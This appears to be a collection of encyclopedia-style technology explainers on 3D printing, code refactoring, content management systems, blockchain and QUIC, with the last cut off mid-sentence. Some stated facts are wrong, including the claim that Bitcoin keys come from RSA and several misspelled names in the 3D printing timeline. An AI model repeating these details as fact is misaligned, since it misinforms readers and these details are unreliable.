produce the exact output across all geographies. Depending on the atmospheric conditions, physical dimensions such as height, width and depth may show variances. \n\n**Scalability issues**: At present, 3D printing may not offer cost effective solutions to mass production in certain fields. For example, biomedical industry. \n\n## Milestones\n\n1981\n\nJapanese professor Dr. Hideo Kodoma invents Laser beam resin curing system, the first 3D printing system that uses UV rays to harden polymers. \n\n1983\n\nCharles Hull files patent for the first stereolithography apparatus machine. \n\n1986\n\nCharles Hull is granted patent for SLA. He co-founds 3D-systems corporation, the first company to introduce SLA 3D printing. \n\n1987\n\nThe first commercial rapid prototyping printer, SLA-1, is released. \n\n1989\n\nScot and Lisa Crump apply for a patent for Fusion Deposition Modeling (FDM). Hans Langer establishes EOS GmbH in Germany. EOS (Electro Optical Systems) later becomes an industry leader in 3D printing of metals and plastics. \n\n1997\n\nAeromat introduces 3D printer for metals using Laser Additive Manufacturing (LAM) technique. The printer uses high energy lasers to fuse powdered titanium alloys. \n\n1999\n\nWake Forest institute of Regenerative Surgery devises the first 3D printer to build a synthetic biodegradable 3D scaffold of human bladder. \n\n2005\n\nAdrian Bowyer developed an open source concept called ReRap to create self replicating 3D printers. \n\n2007\n\nThe first 3D printer to be commercially available, Darwin, built on RepRap concept is built. When Scott Crumps' patent on FDM expired in 2009, many low cost FDM printers flooded the 3D printer market. Of them, RepRap or the Replicating Rapid Prototyper is significant. It is an open source machine that can copy itself and replicate its own intricate parts. It also produces prototypes rapidly. Since it is an open source, many companies use RepRap designs to print 3D machines and products. It brought down 3D printing costs considerably. \n\n2009\n\nMakerBot introduces do-it-yourself kits for people to build their own 3D printers and builds Thingiverse file library where one can submit and download 3D printable files. \n\n2010\n\nKor Ecologic unveils a prototype car with a 3D printed body. \n\n2011\n\nUniversity of Southampton designs and prints the first unmanned 3D printed aircraft called Southampton University Laser Sintered Aircraft (SULSA). \n\n2017\n\nCelink, a Swedish Company, commercializes standardized bio-inks that can be used to print tissue cartilage. The company later introduces the INKREDIBLE 3D printer for bioprinting services","meta":{"title":"3D Printing","href":"3d-printing"}}
{"text":"# Code Refactoring\n\n## Summary\n\n\nSoftware is rarely perfect. Bugs need to be fixed. Code and its structure can be improved. Even when no new features are added, restructuring code can make it easier to understand and maintain. **Refactoring** is thus about restructuring existing code without changing its behaviour. Refactoring changes internal structures while preserving external behaviour. Refactored code works just as before, passes existing tests but is better in terms of structure and organization. \n\nRefactoring shouldn't be a special task that needs to be scheduled. Refactoring should be a day-to-day programming discipline. Whenever developers see an opportunity to improve existing code, they should refactor. \n\nIDEs can help in automated refactoring. Testing is an essential activity. It ensures that refactored works as before and nothing is broken. Incremental refactoring is preferred over a full-scale code rewrite.\n\n## Discussion\n\n### When does it make sense for me to refactor working code?\n\nGiven any working code, developers may be hesitant to change code unnecessarily. But refactoring can still be useful. When program flow is not clear, refactoring improves clarity. Software becomes easier to update and maintain in the long run. We may also refactor to improve performance. Refactoring first can help developers add new features more easily. Sometimes refactoring is done to enable code reuse.  \n\nThere's a common misconception that refactoring activities need to be scheduled into a project. While planned refactoring is possible, it's better to refactor continuously. Whenever developers detect bad code and they sense an opportunity to make it better, refactoring should be done. When small improvements to code are done continuously, there will hardly be a need to schedule refactoring as a separate task. \n\nA common excuse is that refactoring takes time away from actual development. On the contrary, refactoring saves time in the long run. Software tends to degrade over time as complexity increases. Refactoring is a way to mitigate this. \n\n\n### What are some indicators that my code may need refactoring?\n\nAs multiple developers work on the same code base over many release cycles, complexity increases. There's less cohesion in terms coding styles and design. Some call this **code rot**, characterized by duplicate code, myriad patches, and bad classifications. Other symptoms include unhealthy dependencies between classes or classes doing too many things. \n\nIn one project, 20 developers had created 65,000 lines of code over 5 years. The codebase had lot of dead code, code pertaining to many older API versions, and classes with too many dependencies. \n\nWhen a bug fix is required and the fix has to be made in multiple places, this indicates duplicated code. Refactoring can help here. Another example is when a bug fix itself introduces another bug. This implies fragile code that needs refactoring. \n\nWhen a new feature request comes in, the current design might make it difficult to build this feature. This is another area where refactoring can help. \n\n\n### What does it mean to say that refactoring shouldn't change external behaviour?\n\nPreserving external behaviour means that given an input and the current system state, the software should give a predictable output. \n\nHowever, there are some specialized systems where input-output behaviour is insufficient. Other aspects of behaviour are just as important and must be preserved during refactoring. We note three such systems: \n\n    + **Real-time software**: Execution time is important. Refactoring should preserve all temporal constraints.\n    + **Embedded software**: Memory usage and power consumption are important. Refactoring should preserve these constraints.\n    + **Safety-critical software**: Concrete notions of safety should be preserved.\n\n### Could you mention some case studies of code refactoring?\n\nOne team took a bottom-up approach to code refactoring by \"extracting new classes or coercing existing classes to enforce single responsibility, loose coupling, testability, and low complexity\". However, one area of the codebase had to be rewritten. They adopted an incremental TDD approach of writing unit tests, making some changes, and testing. \n\nAnother project team decided not to bring in new dependencies during refactoring. They identified concept boundaries (Admin, HR, User) and refactored within these boundaries. \n\nA study from 2007 of a small team of mobile app developers showed that refactoring not only improves code quality but also improves productivity. Productivity was measured as lines of code written per hour. \n\nOne misconception is that refactoring can reduce performance. One study found that replacing conditional logic with polymorphism improved performance since compilers optimize polymorphic methods. \n\nMartin Fowler explains many use cases with original and refactored code. These are worth reading: loading JSON data returned by another service, calculating and formatting a bill for a video store, and refactoring to manage module dependencies.\n\n\n### Is there a process that I can follow when refactoring my code?\n\nThose who practice Agile methodology, know that refactoring is part of Test-Driven Development (TDD). Refactoring is done only when current tests pass. This gives developers confidence to go ahead and refactor code. Should the refactored code fail some tests, developers can either fix the problem or revert to the working code. Tests ensure that code behaviour isn't affected by refactoring. \n\nThe essence of this approach is **incremental refactoring and testing**. Test after every small refactoring change. Testing after dozens of refactoring changes can be problematic. If tests fail, it will be hard to isolate the faulty refactoring. It's also clear that we shouldn't add new features or change behaviour while also refactoring. The process **isolates adding functionality and refactoring**. \n\nMartin Fowler identifies different refactoring workflows: TDD Refactoring, Litter-Pickup Refactoring, Comprehension Refactoring, Preparatory Refactoring, Planned Refactoring, and Long-Term Refactoring. Frequent planned refactoring might indicate that the team isn't doing enough of the other workflows. \n\n\n### Which are the different levels of code refactoring?\n\nRefactoring can happen at three different levels: \n\n    + **Code-level**: Remove dead or unused code. Rename variables. Reduce number of method arguments by packaging them into a class. Convert global variables into class data members. Create access methods.\n    + **Function-level**: Merge and consolidate duplicated code. Merge similar code blocks into methods.\n    + **Architecture-level**: Create new class hierarchy. Reorganize responsibilities and encapsulation between subclasses and superclass. Refactor to make way for future changes. Refactor to interface better with databases, external services or frameworks.Some make the distinction between **primitive refactoring** and **composite refactoring**. The latter is a sequence of primitive refactorings. For example, Rename and Move are primitive refactorings. Others use the terms **low-level refactoring** and **high-level refactoring**, or equivalently in a dental metaphor, **floss refactoring** and **root canal refactoring**. \n\n\n### What are some techniques to refactor code?\n\nRefactoring Guru explains a number of refactoring techniques, of which we mention a few: \n\n    + **Composing Methods**: Refactor long methods into smaller method calls. Use local variables instead of modifying method parameters. Move duplicated code into a method.\n    + **Moving Features between Objects**: If a method/field is called more often by another class, move it into that class. Refactor to multiple single-purpose classes if a class is doing many different things. Remove a method that simply calls another method.\n    + **Organizing Data**: Know when to use references and when to use value objects. Make a public field private with access methods.\n    + **Simplifying Conditional Expressions**: Instead of many `if-else` statements or complex expressions, use a method call that returns a boolean result. In loops, use `break`, `continue` or `return` instead of control flags.\n    + **Simplifying Method Calls**: Remove unused method parameters. Replace methods `fivePercentRaise()` and `tenPercentRaise()` with the parameterized method `raise(percentage)`.\n    + **Dealing with Generalization**: Move common methods/fields from subclasses to the superclass. Create a subclass for a feature that's used in only some scenarios.\n\n### How do I prioritize when there's too much to refactor?\n\nUse your best judgement to decide what to refactor now and what could be done later. Refactoring too much at once can impact software delivery. Always use an **incremental approach**. \n\nIn one research study, Analytic Hierarchy Process (AHP) was applied to **rank** different refactoring techniques and apply those that work best for the codebase. A multi-objective search-based approach has also been proposed. \n\n\n### Which are some best practices for code refactoring?\n\nRefactor only if you've good regression tests and the tests are passing. If some tests are lacking, add extra tests. Some existing tests might depend on old program structure and would need to be rewritten. \n\nIt's always better to refactor before adding new features since tests exist only for current features. Refactor after delivery and before starting the next release cycle. Kent Beck has summarized it thus, \n\n> For each desired change, make the change easy (warning: this may be hard), then make the easy change.\n\nWhen team members are working on different feature branches, refactoring can make merges difficult. If some members own some pieces of code, there will be reluctance to refactor their code. These are barriers to refactoring. Work as a team to see how these can be overcome. \n\nDon't refactor just because you love writing new code or wish to use a coding pattern you've just learned. \n\n\n### Are there tools to automate code refactoring?\n\nSmalltalk's Refactoring Browser (released in 1997) was well-liked and adopted by Smalltalk developers. This was followed by refactoring tools for Java and C#. \n\nBy 2020, most IDEs supported code refactoring. This includes Eclipse, Visual Studio, Xcode, Squeak, Visual Studio Code, , IntelliJ-based IDEs (AppCode, IntelliJ IDEA, PyCharm, WebStorm), and more. \n\nBack in 2003, it was noted that creating a refactoring tool for C++ has been difficult. Refactoring makes use of the program's Abstract Syntax Tree (AST) but macros and templates add complexity. In fact, it's been said that any tool that works for the whole of C++ would be AI Complete. A subset of refactoring techniques for C++ is supported by Visual Studio. \n\nAutomatic refactoring is aided by static type information. A codebase's development history could be used to identify refactoring opportunities. \n\n## Milestones\n\nAug  \n1981\n\nIn an article on Smalltalk in BYTE magazine, Ingalls uses the word **factoring** in a software context. He mentions factoring as one of the design principles behind Smalltalk, supported via class inheritance. He defines factoring thus, \"Each independent component in a system should appear in only one place.\" Without factoring, it would be hard to keep interdependent components synchronized and consistent. Factoring makes it easier to locate and maintain the component. The concept of refactoring itself comes from mathematics where a complex algebraic expression might be factored into a simpler and equivalent expression. \n\n1986\n\nR.S. Arnold uses the term **software restructuring** that's about incrementally making changes to software internals as a way to manage its increasing complexity. It's been noted that the term *refactoring* came to be used a little later in the context of object-oriented software development. \n\n1990\n\nWilliam Opdyke and Ralph Johnson present a conference paper titled *Refactoring: An Aid in Designing Application Frameworks and Evolving Object-Oriented Systems*. This is possibly the first use of the term **refactoring** in published literature. Indeed, refactoring is initially adopted for object-oriented programs. \n\n1991\n\nWilliam Griswold publishes his PhD dissertation on the topic of refactoring functional and procedural programs. A year later, William Opdyke's own dissertation does the same for object-oriented programming. \n\nJul  \n1999\n\nFowler et al. publish their book titled *Refactoring: Improving the Design of Existing Code*. After introducing the topic, the book describes over 70 refactoring tips. The word *refactoring* is defined both as a noun and as a verb. In the years to come, this book influences software development. IDEs go on to implement many of the practices to automate refactoring. The second edition of the book appears in 2018. \n\n2006\n\nAlthough many tools existing, developers might not use them if they're not aligned with refactoring tactics preferred by developers. A survey of 41 users of Eclipse IDE for Java development finds that only a few of them use these tools. Simpler techniques such as Rename and Move are more often used than more complex ones such as IntroduceFactory and PushDown.","meta":{"title":"Code Refactoring","href":"code-refactoring"}}
{"text":"# Content Management System\n\n## Summary\n\n\nContent Management System (CMS) is a software used to create and comprehensively manage digital content. \n\nIt’s built on top of a set of foundational codes called the framework. The content created with the CMS is stored in a database. The CMS interacts with the database management system (DBMS) to display, add, retrieve, modify and redeposit content back to the database.  \n\nContent Management Application (CMA) and Content Delivery Application (CDA) are the basic components of a CMS. CMA is the Graphical User Interface (GUI) that enables users to handle content at the front end. CDA is the back-end component attached to the database.  \n\nCMS is easy to use. It permits multiple accesses. Predefined themes, templates and software plugins simplify CMS for a quick setup and smooth operation. CMS reduces or eliminates the need to apply codes to create, alter or publish content digitally.\n\n## Discussion\n\n### How does CMS work?\n\nUsing a CMS’s GUI with textual and visual editors, a user creates content. These editors encode the content on the back end. The encoded content get stored in the database as structured files.  \n\nIn most cases, metadata is embedded inside the content’s codes. When a user makes requests for specific content, the CMS retrieves the corresponding structured file using metadata and generates the digital output. The retrieval and display process may involve applying a template that defines the layout and design of the output.  \n\nWhen the front end and the database are built using a single codebase, data is accessed from within. If the front end and the database are separate components (decoupled), software channels such as middleware integrate the two. Application Programming Interfaces (APIs) move data between decoupled components. \n\nUser management feature is added to manage the CMS’ user accesses. User management basically includes mechanisms to identify, approve access to, and authorize users.  \n\nSpecific plugins are installed to perform useful tasks. For instance, Search Engine Optimization (SEO) and analytics plugins enhance a website’s visibility and provide insights into the user patterns and behavior. \n\n\n### Can you broadly discuss the basic types of a CMS architecture?\n\nCMS architecture refers to how the front end and back end of a CMS function as a whole. \n\nIn a **coupled CMS**, the front-end and back-end processes are tied together. Both the ends share some common resources and rely on the same services to function. Coupled CMSs are simple to deploy but hard to customize.  \n\nA **decoupled CMS** has its front end seperated from its back end. A separate back end offers better security. Yet a decoupled CMS is complex to handle.  \n\n**A headless CMS** is similar to a decoupled CMS. However, the presentation layer of the CMS is separated further from the front end. Headless CMSs seamlessly integrate content across devices. For instance, we can continue our Facebook activity on a mobile application, from where we left off on a web application.  \n\n**A hybrid CMS** is a combination of the above types of architecture. A hybrid CMS offers great freedom to integrate customized front-end components. Anyone can create their own layout using drag and drops or WYSIWYG editors without developer support.  \n\n\n### What are the core features of a CMS?\n\n**User Interface**: An intuitive interface is basic to create, structure, edit, add, remove, publish and distribute digital content.  \n\n**Storage and retrieval**: Content created at the interface needs storage and indexing. A CMS should be able to package and transfer content to its database in standard formats (E.g.: XML or JSON). Indexing makes retrieving and managing content easy.  \n\n**Access control**: Access control is designed, basing on how a member engages with the CMS. An administrator in the CMS will have complete control over the system. Editors, authors, contributors, subscribers and others will have varying degrees of access and control.  \n\n**Security and backups**: A CMS should have mechanisms built and credentials fixed for members to login and logout. When someone inputs wrong ids or passcodes beyond a permitted number of attempts, the account should get locked. This arrangement prevents hackers from easily breaking into the system. Multiple levels of security arrangements can be setup. Creating systems for regular backups and updates can safeguard against any data loss.  \n\nDepending on purpose, a good CMS needs additional features to run efficiently. Version controls, SEO tools and support are a few important features.  \n\n\n### Could you discuss some use cases of CMS?\n\n CMS has a popular use in **E-Commerce**. An E-Commerce CMS enables businesses to sell products online. An E-Commerce business typically needs CMS to manage shopping carts, product pages, payments, orders, analytics, and customer support.  \n\nAn **Intranet** CMS connects a company’s employees located geographically apart. Companies use Intranet CMSs for employee onboarding, online training, intra-company networking, internal communication, and inter departmental collaboration.  \n\n**Mobile application** developers make use of CMS to manage content for mobile apps or mobile responsive websites. Mobile responsive websites share a common back end with mobile apps. The front ends of the mobile app and website interfaces remain detached. A website’s content made editable on the go through a mobile app is also a form of mobile CMS.  \n\nEducational institutions use **Library** CMSs to run digital libraries on websites or mobile apps. Apart from managing digital books, the Library CMS also supports additional activity. An institution may also maintain articles, news, blogs and information about digital resources on their library portals. \n\n**News** publishers use CMS to create, edit, publish and update digital news quickly. A News CMS smoothly manages paid subscriptions and handles news content in high volumes.   \n\n\n### Can you explain the different CMSs prevalent in the market?\n\nTwo broad CMS categories prevail in the market. They are Open-Source CMS and Commercial CMS.\n\nAn **open-source** CMS does not restrict access to a licensed group. People joining the open-source community can alter its source code. Based on the needs of the larger public, member developers volunteer to customize the CMS software. Users with specific needs can use the CMS platform for free. However, they may have to invest on technical assistance, plugins, add-ons, templates, support and regular updates. Popular Open-source CMS platforms in the market include WordPress, Joomla, Drupal, Ghost and Strapi. \n\nA **commercial** CMS is developed and owned by a commercial entity. Users can't access the CMS' source code. Third party plugins and extensions cannot feature in the CMS. Switching the website or application from an existing commerical CMS to another CMS platform poses headaches. A commercial CMS is expensive. However, the CMS is safe, stable, standard and efficient. Dedicated teams monitor, fix issues and support the CMS platform.  Popular Commercial CMSs include SiteCore, Flamelink, ExpressionEngine, Kentico and Adobe Experience Manager. \n\n\n### How is building a website using CMS different from that of a website builder?\n\nAnyone with zero coding skills can create a website using a website builder. A website builder usually provides a hosting platform, a domain name, and custom themes as a package. Simple drag and drop solutions enable straightforward launch of websites. Website builders don’t permit outside developers to customize. It is restrictive to developers and liberating for the technically unequipped.  \n\nIn contrast, a CMS solution doesn’t automatically come with a web server, a domain name or readymade themes. Such essential components should be purchased individually. A CMS website can be built from scratch on top of source code. The website’s physical appearance is designed using UI tools such as Figma or Adobe XD. Developers give life to the designs through HTML, Cascading Style Sheets (CSS) and any programming language, say, JavaScript. Else, the interface may have basic themes that coders work further upon. A CMS is constructed manually or automatically, depending on the hosting services. Then a database is created and connected to the system. Coders may also customize features or use custom features. Once the basics are ready, webpages are generated and published.  \n\n\n### How does CMS compare with MS SharePoint, Static Site Generator (SSG), and Document Management System (DMS)?\n\nMicrosoft **SharePoint** is a collaboration platform that focuses on team collaboration, intranet or extranet, document management and workflow automation. It also has content management capabilities. A CMS is primarily a content management software that also facilitates collaborations. SharePoint integrates with MS tools and caters primarily to enterprises. CMS focuses on specific content management needs of individuals and entities.  \n\nAn **SSG** doesn’t need a database or an external data source. The SSG stores simple data as static HTML files in the web server. When a user makes a request, the SSG picks up data files directly from the web server and presents quickly. It is highly secure and requires less computing power. On the other hand, a CMS delivers an interactive and immersive content management.  \n\nA **DMS** manages structured data in word, pdf, excel and other document formats. A CMS manages structured as well as unstructured data. The main use case of a DMS is regulatory compliance and workflow management. A CMS has much wider scope than just document management.  \n\n\n### What steps should one generally follow to make their our own CMS?\n\n    + Define the purpose, scope, content types, roles, permissions, features, scalability and other needs of the CMS\n    + Run a database client program, let’s say, MYSQL. Set up the database.\n    + Create database tables. Form schemas and table names. Add the required fields such as unique Ids, date, titles, content, primary keys and so on.\n    + Configure settings using a scripting language such as Vue.js or PHP. The settings shall remain common for all the script files in the CMS. E.g.: Time zone, admin’s username and password, paths and class.\n    + Inside the CMS folder, create class folders. Add class files. The class files shall encapsulate the classes’ definition, properties, and methods. The class methods entail archival, retrieval, listing, insertion, updating and deletion of class objects.\n    + Write front-end index script. These codes work to manage the UI tasks and actions.\n    + Write the back-end script. The script fixes back-end actions.\n    + Create HTML template files for the front end. These files handle the header, footer, homepage, archive and so on\n    + Create HTML back-end template files. These files handle back-end activity.\n    + Make CSS files to control the appearance and feel of the site.\n\n### What are some design considerations for CMS?\n\n    + Define the technical knowledge of the target user. It impacts the CMS design at every stage. For example, will the content editor apply HTML tags or create content directly on a WYSIWYG editor?\n    + Determine the extent of control a designer has over the templates. For example, can a designer reshape the entire CMS to suit her design or should she work with the existing templates?\n    + Design, assuming that the HTML elements will stack in any order. Preparing for the worse ensures quality outcomes.\n    + Keep the versions consistent across all components so that reuse is possible.\n    + Create reusable components that are compatible throughout the CMS.\n    + Think through various scenarios and design for flexibility. For example, will the text or image slip beyond the layout?\n    + Create CSS rules for all the HTML elements in the CMS. It provides flexibility to readjust elements that may later require pre-configured styling.\n    + Create and enforce semantics and style guide using CSS to standardize the content throughout the CMS.\n    + After developing the design using HTML and CSS codes, test the design by trying different types of content in different sizes to check if it consistently produces the desired output.\n\n\n## Milestones\n\n1989\n\nTim Berners-Lee introduces the markup language, **HTML**. He goes on to write browser and server software by 1990. HTML is a derivative of Standard Generalized Markup Language (SGML). HTML is fundamental to building a CMS. \n\nAug  \n1991\n\nTim Berners-Lee launches the world’s first **website** using Hyper Text Transfer Protocol (HTTP) and Uniform Resource Locator (URL). The website contains information about the World Wide Web project. These static webpages later pave the way for dynamic websites and CMSs to emerge.  \n\n1994\n\nRoxen Internet Software, a Swedish company, releases **Roxen**, one of the first CMS applications. Roxen CMS is useful to produce, distribute, deploy and maintain internal and external websites. \n\n1995\n\nVignette corporation launches Vignette, a Web Content Manager (WCM) software. Vignette subsequently launches **StoreBuilder** and coins the term, **Content Management System**. \n\n1995\n\nFileNet creates the world’s first **monolithic** Content Management System. The system is built using Hypertext Preprocessor (PHP), Active Server Pages (ASP) and Java Server Pages (JSP). FileNet introduces an integrated document management suite, combining document imaging, document management and workflow. Many competitors follow suit and flood the market with monolithic CMSs.  \n\n2003\n\nEasy-to-build, open source, website-building CMS platforms such as **WordPress** offer readymade templates. Readymade templates remove the need to build every aspect of a website from scratch and therefore, reduce cost. For the first time, anyone without coding skills could launch websites. \n\n2003\n\nDNN corp launches a renamed application called **DotNetNuke**. DotNetNuke is an early open source CMS based on ASP.NET framework. DotNetNuke stands the test of time. \n\n2005\n\nAlfresco launches an open source alternative to enterprise content management. It is embeddable in enterprise applications so that enterprises need not build their CMSs from ground up. \n\n2010\n\nThe year ushers in a new era of **Headless CMS** domination. The booming smart phone and tablet market drastically increases the consumption of web content. Developers shift their focus towards headless or decoupled CMSs to deliver the same content on screens of differing sizes. \n\n2013\n\n**Contentful**, a Cloud-based platform offers headless CMS solutions. The platform provides well documented APIs and Command Line Interface (CLI) migration tools. Contentful is one of the best tools to build websites. \n\nMay  \n2016\n\nFrench company, Strapi launches open source, headless, self-hosted CMS solution. **Strapi** is designed to work with JAMStack (JavaScript, API and Markup) sites and supports both SQL and NoSQL databases. It can be hosted from any server.","meta":{"title":"Content Management System","href":"content-management-system"}}
{"text":"# Blockchain\n\n## Summary\n\n\nBlockchain is an open immutable distributed ledger without centralized control. The ledger is maintained and validated by a peer-to-peer network of computers. Such a ledger could contain any digital asset of value such as cryptocurrencies, land records, birth certificates, insurance claims, concert tickets, the source of diamonds, etc. \n\nBecause digital assets can easily be copied, we need a system that prevents fraud. Traditionally, banks, government bodies and private institutions serve as trusted intermediaries. Blockchain aims to bypass them. It does this using cryptography. No one can tamper transactions recorded in the blockchain due to high computation costs. We may therefore say that trust is established implicitly via cryptography. \n\nBlockchain was initially used to create and transact a cryptocurrency called Bitcoin. Today, it's anticipated that blockchain can be used for diverse applications and it's set to revolutionize multiple industries.\n\n## Discussion\n\n### Why was Blockchain invented?\n\nThe collapse of Lehmann Brothers back in 2008 triggered a global financial crisis from which many economies are yet to fully recover. Perhaps it was this that prompted Satoshi Nakamoto (pseudonym) to think of a method for peers to exchange currencies without involving centralized control. Centralized institutions such as banks fulfil the role of verifying identity, building trust, executing business logic, maintaining records, validating transactions and performing audits. This also implies that consumers are dependent on this controlled system of trust.\n\nNakamoto proposed introducing a digital currency called Bitcoin and a peer-to-peer method of transacting bitcoins without involving centralized control. Within such a network, centralized authorities and middlemen are not required. They would not be able to take risky decisions using what belongs to you. Peers can transact with one another directly. Blockchain was the technology that Nakamoto invented to power the creation and transaction of bitcoins, although the term \"blockchain\" does not appear in his influential paper. \n\n\n### Could you explain how Blockchain works?\n\nIn simple technical terms, transactions/items are grouped into blocks, which are then protected using cryptography. Each block comes with a *hash* that protects the integrity of the block. This hash is computed by *nodes*, which are computers participating in the blockchain network. A completed block is linked to the previous block and this forms a chain of blocks; hence, the name *blockchain*.\n\nComputation of the hash depends on the contents of the current block plus the hash of a previous block. This means that an attacker attempting to tamper a block in the middle will have to recompute the hash values of all subsequent blocks. This is computationally difficult in a distributed system where multiple nodes are working on genuine blocks. Trust in this system is therefore established by the computational complexity of pulling off a successful attack. This complexity is known to be exponential. \n\nIf an attacker attempts to create another version of truth (a parallel chain), the rules of the blockchain will allow only the genuine chain to survive. We call the set of rules *consensus mechanism*. \n\n\n### What are the advantages of using Blockchain?\n\nBlockchain has the following advantages: \n\n    + **Distributed** - Since there's no central control, the government or any other authority cannot bring down the system or suddenly change the rules. Participating nodes in the network are all peers and have equal say in keeping the blockchain operational. Often the term \"decentralized\" is used but by classical definition, nodes in a decentralized network are connected via a hierarchy whereas those in a distributed network are truly peer to peer. The distributed nature of blockchain makes it robust.\n    + **Transparent** - The ledger is public, which means that transactions are visible to everyone participating in the network. Malicious users cannot choose to hide their transactions. Transparency brings with it accountability and verifiability.\n    + **Immutable** - Once data goes into the ledger, it cannot be modified. No one can tamper it to serve their personal gains. Thus, blockchain presents a single version of truth. Data is reliable.\n    + **Democratic** - Anyone can join or leave the network as they wish. No approvals are required. Nodes are given incentives to validate transactions.\n\n### What are the common criticisms of Blockchain?\n\nBlockchain's first application, Bitcoin, was used to power criminal activities on the darknet via sites such as Silk Road. Users on the Bitcoin network were anonymous and paid for illegal goods using bitcoins.\n\nIt's been argued that when Blockchain is applied with access control and to private data, it's integrity is compromised. Likewise, the binding of real world assets to digital equivalents requires some form of centralized authority. \n\nWhile indeed the chain is immutable, what goes into a block is determined by who controls the private (secret) key. Though the Bitcoin network is distributed, in reality, nodes are assembled into cartels and a few of them could potentially control the network. \n\nValidating transactions is compute intensive with each block taking ten minutes. In comparison, Visa processes 45K transactions per second and Google Ads gets 30 billion impressions per day. A single bitcoin transaction consumes 5,000 times more energy than a credit card payment. In terms of memory, storing the entire chain takes up 100 GB for Bitcoin, which is duplicated on every node. \n\nIt's been claimed that transaction costs will go up, the technology is too complex and adoption will not be universal. \n\n\n### Can Blockchain be compared with TCP/IP?\n\nJust as TCP/IP changed the way we communicate, Blockchain is going to change the way we exchange value. Just as TCP/IP created the Internet as an open public network without centralized control, Blockchain is creating an open distributed ledger system that can enable all sorts of applications. \n\nBlockchain, like TCP/IP, is a technological enabler. It's the apps and solutions built on top of blockchain that are going to add value.\n\n\n### What could be typical use cases of Blockchain?\n\nBlockchain is being regarded as a foundational technology, poised to create huge impact to our traditional social-economic systems. Use cases are diverse. Depending on the extent of novelty and complexity, they can be categorized as single use, localized use, substitution, and transformation. While many applications are already out there, Blockchain may take a couple of decades to reach its full potential. \n\nHere are some use cases:\n\n    + MUSE platform enables music streaming platforms to offer artists a way to monetize.\n    + IBM has partnered with food giants to trace the source of contaminated foods. In general, supply chains are going to be transformed.\n    + Blockchain is enabling new sharing services including sharing of compute time, storage, SMS and more.\n    + Consumers can sell excess energy to their neighbours directly than sell it to the utility company.\n    + Land title registration, birth certificates, medical records and identification documents are some examples where blockchain can lower costs and prevent fraud.\n    + In stock trading, settlements that currently take days or weeks can happen in seconds. Middlemen are also eliminated.\n\n### Are there applications where blockchain should not be used?\n\nBlockchain may be an overkill for many applications where a shared database may suffice. For performance and energy efficiency, a database is better. \n\nIf your app has multiple readers but only one writer, blockchain is not required. Even if there are multiple writers but they all trust one another and your systems are well protected, blockchain is not required. Even if the writers don't trust one another, but they do trust a third-party, blockchain is not required. \n\nMany have come up with decision models or flowcharts to help you decide if your app requires blockchain or to select the right type of blockchain. \n\n\n### Is Blockchain standardized?\n\nNo, Blockchain is not a standard. There's no standardization body or industry consortium defining it. Blockchain is a technology that's based on cryptography and peer-to-peer network.\n\nWhile Blockchain as proposed by Satoshi Nakamoto can be used in its original form, anyone can also modify it to suit their application. This implies that applications built with Blockchain will not interwork with one another. For example, Bitcoin and Ethereum are both built with Blockchain technology but these are two independent applications that won't work together.\n\nHaving said that, there are attempts to standardize the technology. Overseen by The Linux Foundation, Hyperledger is one such effort. R3 and Enterprise Ethereum Alliance are also standardizing it within their scope of interests. Microsoft's Coco is more of a framework than a standard. It's goal is to enable Blockchain adoption in enterprises. \n\n\n### What exactly is a block in Blockchain?\n\nA simple analogy is that blocks are like pages in a traditional ledger and the entire blockchain is the ledger. A block therefore encapsulates multiple transactions. In the case of Bitcoin, a block has 500 transactions on average and consumes 1MB space on average. \n\nA block consists of a header, a Merkle summary built from transaction identifiers, and the list of transaction identifiers. The header itself includes hash of the previous block, version info, current timestamp and nonce. Hash of the current block will become part of the next block's header. \n\nAs an example, you may study Bitcoin Block #525510, which was generated in March 2018.\n\n\n### Can you enumerate some technical foundations of Blockchain?\n\nBlockchain has brought together existing technologies in an innovative manner:\n\n    + Computations are not partitioned and distributed to the nodes. All nodes in the network do the same computations.\n    + Users sign transactions with their private keys while others verify using the corresponding public keys. These keys are generated using the well-known RSA algorithm.\n    + The cryptographic hash computed per block is really a fixed length output based on an input of any length. Bitcoin uses SHA-256 to create a 256-bit hash. Given the hash, it's impractical to determine the contents of the block. It's also almost impossible for different contents to result in the same hash.\n    + Each transaction in a block has its own hash and these hashes are arranged into a Merkle tree.\n    + Each block contains a nonce. Most computer power at a node is expended in finding a suitable nonce such that the resulting hash on the block is valid.\n\n\n## Milestones\n\n1991\n\nIn a paper titled *How To Time-Stamp a Digital Document*, Haber and Stornetta note two necessary properties of digital timestamps: timestamp the data (not the medium in which it appears) so that it's impossible to change the data without anyone noticing it; make it impossible to falsify the data and its timestamp. Their solution uses cryptographic hash functions, signatures and distributed trust. All these would later play important roles in the invention of Blockchain. \n\nMar  \n1992\n\nBayer et al. improve the efficiency and reliability of digital timestamping. They propose the use of **Merkle trees** (invented in 1980 by R.C. Merkle) instead of linked lists that link transactions. Computation is reduced from \\(N\\) steps to \\(log\\_2N\\) steps. \n\n2008\n\nSomeone going by the pseudonym Satoshi Nakamoto publishes technical details of a new peer-to-peer electronic cash system, one that avoids centralized banks or intermediaries. He calls it *Bitcoin*. The term *Blockchain* is not used in this paper though the idea is clear: chain blocks based on their hashes with timestamps. \n\nJan  \n2009\n\nBitcoin is launched using blockchain technology. It's the first application of blockchain. \n\nMar  \n2013\n\nAs some nodes on the Bitcoin network upgrade to version 0.8, others continue mining with version 0.7. An incompatibility between the versions creates a *fork*, which is basically an alternative chain. Bitcoin loses values but later regains as nodes rollback to version 0.7.","meta":{"title":"Blockchain","href":"blockchain"}}
{"text":"# QUIC\n\n## Summary\n\n\nQUIC is a transport protocol that's an alternative to TCP. QUIC sits on top of UDP and uses *TLS 1.3* for securing its payload. It was initially designed for HTTP use case but later evolved to accommodate a variety of use cases. HTTP on top of QUIC is often called *HTTP/3*. \n\nQUIC improves on TCP in a number of aspects: faster connection establishment, reduced head-of-line blocking, better congestion control, improved privacy and flow integrity. While measurements show that QUIC outperforms TCP, there are some scenarios where TCP does better. \n\nQUIC is being standardized by the IETF. As on January 2021, all documents are Internet-Drafts (I-Ds) and none of them are standards yet. Many open source implementations of QUIC are available in various programming languages. QUIC is actively used on the Internet by about 5% of web servers.\n\n## Discussion\n\n### What are the problems with TCP/IP networking stack that QUIC aims to solve?\n\nEach HTTP connection traditionally used a separate TCP connection. However, opening a TCP connection is slow. It requires three round trip times (RTTs): one RTT for first contact and two RTTs for TLS security. Given that increasingly more of web traffic is encrypted these days, RTTs due to TLS can't be eliminated. Though network bandwidth has increased, exchanging short packet that's typical of web traffic is hampered due to these **handshake delays**. \n\nHTTP/2 partly mitigated TCP connection problem by allowing multiple HTTP streams to share a single TCP 